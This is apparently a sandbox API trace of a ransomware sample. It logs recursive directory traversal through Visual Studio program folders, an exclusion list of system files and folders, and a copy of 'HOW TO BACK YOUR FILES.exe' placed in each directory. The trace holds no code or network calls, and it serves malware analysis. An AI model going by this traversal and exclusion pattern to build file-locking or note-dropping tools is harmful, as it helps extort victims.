	[0052.996] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a7b170, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37a7b170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.996] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.996] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IDE", cAlternateFileName="")) returned 1
	[0052.996] lstrcmpiW (lpString1="IDE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.996] lstrcmpiW (lpString1="IDE", lpString2="Apollon865.txt.exe") returned 1
	[0052.996] lstrcmpiW (lpString1="IDE", lpString2=".") returned 1
	[0052.996] lstrcmpiW (lpString1="IDE", lpString2="..") returned 1
	[0052.996] lstrcmpiW (lpString1="IDE", lpString2="windows") returned -1
	[0052.996] lstrcmpiW (lpString1="IDE", lpString2="bootmgr") returned 1
	[0052.996] lstrcmpiW (lpString1="IDE", lpString2="temp") returned -1
	[0052.996] lstrcmpiW (lpString1="IDE", lpString2="pagefile.sys") returned -1
	[0052.996] lstrcmpiW (lpString1="IDE", lpString2="boot") returned 1
	[0052.996] lstrcmpiW (lpString1="IDE", lpString2="ids.txt") returned -1
	[0052.996] lstrcmpiW (lpString1="IDE", lpString2="ntuser.dat") returned -1
	[0052.996] lstrcmpiW (lpString1="IDE", lpString2="perflogs") returned -1
	[0052.996] lstrcmpiW (lpString1="IDE", lpString2="MSBuild") returned -1
	[0052.996] lstrlenW (lpString="IDE") returned 3
	[0052.996] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\*") returned 58
	[0052.996] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="IDE" | out: lpString1="IDE") returned="IDE"
	[0052.996] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0052.996] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf568
	[0052.996] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0052.996] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1
	[0052.996] lstrcmpiW (lpString1="Packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.996] lstrcmpiW (lpString1="Packages", lpString2="Apollon865.txt.exe") returned 1
	[0052.996] lstrcmpiW (lpString1="Packages", lpString2=".") returned 1
	[0052.996] lstrcmpiW (lpString1="Packages", lpString2="..") returned 1
	[0052.996] lstrcmpiW (lpString1="Packages", lpString2="windows") returned -1
	[0052.996] lstrcmpiW (lpString1="Packages", lpString2="bootmgr") returned 1
	[0052.996] lstrcmpiW (lpString1="Packages", lpString2="temp") returned -1
	[0052.996] lstrcmpiW (lpString1="Packages", lpString2="pagefile.sys") returned -1
	[0052.996] lstrcmpiW (lpString1="Packages", lpString2="boot") returned 1
	[0052.996] lstrcmpiW (lpString1="Packages", lpString2="ids.txt") returned 1
	[0052.997] lstrcmpiW (lpString1="Packages", lpString2="ntuser.dat") returned 1
	[0052.997] lstrcmpiW (lpString1="Packages", lpString2="perflogs") returned -1
	[0052.997] lstrcmpiW (lpString1="Packages", lpString2="MSBuild") returned 1
	[0052.997] lstrlenW (lpString="Packages") returned 8
	[0052.997] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned 60
	[0052.997] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Packages" | out: lpString1="Packages") returned="Packages"
	[0052.997] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0052.997] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b90d8
	[0052.997] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0052.997] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0
	[0052.997] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.997] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0052.997] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages"
	[0052.997] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0052.997] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0052.997] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages") returned 65
	[0052.997] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages"
	[0052.997] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.997] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0053.001] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.001] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37aa12d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37aa12d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0053.002] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.002] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.002] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.002] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37aa12d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37aa12d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.002] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.002] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.002] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.002] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.002] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Debugger", cAlternateFileName="")) returned 1
	[0053.002] lstrcmpiW (lpString1="Debugger", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.002] lstrcmpiW (lpString1="Debugger", lpString2="Apollon865.txt.exe") returned 1
	[0053.002] lstrcmpiW (lpString1="Debugger", lpString2=".") returned 1
	[0053.002] lstrcmpiW (lpString1="Debugger", lpString2="..") returned 1
	[0053.002] lstrcmpiW (lpString1="Debugger", lpString2="windows") returned -1
	[0053.002] lstrcmpiW (lpString1="Debugger", lpString2="bootmgr") returned 1
	[0053.002] lstrcmpiW (lpString1="Debugger", lpString2="temp") returned -1
	[0053.002] lstrcmpiW (lpString1="Debugger", lpString2="pagefile.sys") returned -1
	[0053.002] lstrcmpiW (lpString1="Debugger", lpString2="boot") returned 1
	[0053.002] lstrcmpiW (lpString1="Debugger", lpString2="ids.txt") returned -1
	[0053.002] lstrcmpiW (lpString1="Debugger", lpString2="ntuser.dat") returned -1
	[0053.002] lstrcmpiW (lpString1="Debugger", lpString2="perflogs") returned -1
	[0053.002] lstrcmpiW (lpString1="Debugger", lpString2="MSBuild") returned -1
	[0053.002] lstrlenW (lpString="Debugger") returned 8
	[0053.002] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*") returned 67
	[0053.002] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Debugger" | out: lpString1="Debugger") returned="Debugger"
	[0053.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0053.003] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x96) returned 0x599450
	[0053.003] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0053.003] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37aa12d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37aa12d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.003] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.003] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37aa12d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37aa12d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0053.003] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0053.003] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0053.003] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger"
	[0053.003] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0053.003] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0053.003] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger") returned 74
	[0053.003] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger"
	[0053.003] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.003] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\packages\\debugger\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0053.007] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.007] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37aa12d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37aa12d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0053.007] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.007] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.007] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.007] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37aa12d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37aa12d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.007] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.007] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.007] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.007] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.007] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37aa12d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37aa12d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.007] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.007] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37aa12d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37aa12d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0053.008] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0053.008] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0053.008] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE"
	[0053.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0053.008] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned 60
	[0053.008] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE"
	[0053.008] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.008] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0053.013] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.013] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37ac7430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37ac7430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0053.013] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.014] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.014] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.014] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37ac7430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37ac7430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.014] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.014] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.014] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.014] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.014] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37aa12d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37aa12d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.014] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.014] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrivateAssemblies", cAlternateFileName="PRIVAT~1")) returned 1
	[0053.014] lstrcmpiW (lpString1="PrivateAssemblies", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.014] lstrcmpiW (lpString1="PrivateAssemblies", lpString2="Apollon865.txt.exe") returned 1
	[0053.014] lstrcmpiW (lpString1="PrivateAssemblies", lpString2=".") returned 1
	[0053.014] lstrcmpiW (lpString1="PrivateAssemblies", lpString2="..") returned 1
	[0053.014] lstrcmpiW (lpString1="PrivateAssemblies", lpString2="windows") returned -1
	[0053.014] lstrcmpiW (lpString1="PrivateAssemblies", lpString2="bootmgr") returned 1
	[0053.014] lstrcmpiW (lpString1="PrivateAssemblies", lpString2="temp") returned -1
	[0053.014] lstrcmpiW (lpString1="PrivateAssemblies", lpString2="pagefile.sys") returned 1
	[0053.014] lstrcmpiW (lpString1="PrivateAssemblies", lpString2="boot") returned 1
	[0053.014] lstrcmpiW (lpString1="PrivateAssemblies", lpString2="ids.txt") returned 1
	[0053.014] lstrcmpiW (lpString1="PrivateAssemblies", lpString2="ntuser.dat") returned 1
	[0053.014] lstrcmpiW (lpString1="PrivateAssemblies", lpString2="perflogs") returned 1
	[0053.014] lstrcmpiW (lpString1="PrivateAssemblies", lpString2="MSBuild") returned 1
	[0053.014] lstrlenW (lpString="PrivateAssemblies") returned 17
	[0053.014] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*") returned 62
	[0053.014] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="PrivateAssemblies" | out: lpString1="PrivateAssemblies") returned="PrivateAssemblies"
	[0053.014] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0053.014] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9e) returned 0x599450
	[0053.014] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0053.014] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 1
	[0053.014] lstrcmpiW (lpString1="PublicAssemblies", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.014] lstrcmpiW (lpString1="PublicAssemblies", lpString2="Apollon865.txt.exe") returned 1
	[0053.015] lstrcmpiW (lpString1="PublicAssemblies", lpString2=".") returned 1
	[0053.015] lstrcmpiW (lpString1="PublicAssemblies", lpString2="..") returned 1
	[0053.015] lstrcmpiW (lpString1="PublicAssemblies", lpString2="windows") returned -1
	[0053.015] lstrcmpiW (lpString1="PublicAssemblies", lpString2="bootmgr") returned 1
	[0053.015] lstrcmpiW (lpString1="PublicAssemblies", lpString2="temp") returned -1
	[0053.015] lstrcmpiW (lpString1="PublicAssemblies", lpString2="pagefile.sys") returned 1
	[0053.015] lstrcmpiW (lpString1="PublicAssemblies", lpString2="boot") returned 1
	[0053.015] lstrcmpiW (lpString1="PublicAssemblies", lpString2="ids.txt") returned 1
	[0053.015] lstrcmpiW (lpString1="PublicAssemblies", lpString2="ntuser.dat") returned 1
	[0053.015] lstrcmpiW (lpString1="PublicAssemblies", lpString2="perflogs") returned 1
	[0053.015] lstrcmpiW (lpString1="PublicAssemblies", lpString2="MSBuild") returned 1
	[0053.015] lstrlenW (lpString="PublicAssemblies") returned 16
	[0053.015] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies") returned 78
	[0053.015] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="PublicAssemblies" | out: lpString1="PublicAssemblies") returned="PublicAssemblies"
	[0053.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0053.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9c) returned 0x5994f8
	[0053.015] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
